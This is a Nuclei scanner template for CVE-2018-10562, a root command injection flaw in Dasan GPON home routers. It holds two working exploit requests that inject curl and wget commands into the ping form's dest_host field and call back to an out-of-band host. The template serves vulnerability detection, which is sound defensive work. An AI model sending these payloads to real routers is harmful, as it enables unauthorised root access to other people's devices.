id: CVE-2018-10562 info: name: Dasan GPON Devices - Remote Code Execution author: gy741 severity: critical description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with root privileges on the affected device. remediation: | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. reference: - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/ - https://github.com/ethicalhackeragnidhra/GPON classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-10562 cwe-id: CWE-78 epss-score: 0.97423 epss-percentile: 0.99934 cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:* metadata: max-request: 2 vendor: dasannetworks product: gpon_router_firmware tags: cve,cve2018,dasan,gpon,rce,oast,kev,dasannetworks variables: useragent: '{{rand_base(6)}}' http: - raw: - | POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {{Hostname}} XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0 - | POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {{Hostname}} XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0 stop-at-first-match: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: {{useragent}}" # digest: 490a00463044022076907511f4f625fb84a997087590fa36dac01d612d1802c6b579d54c508c623e02203ef2be0b835b4c686a29db3a4afcd4875d69783fc68a917690ddb802c2401758:922c64590222798bb761d5b6d8e72950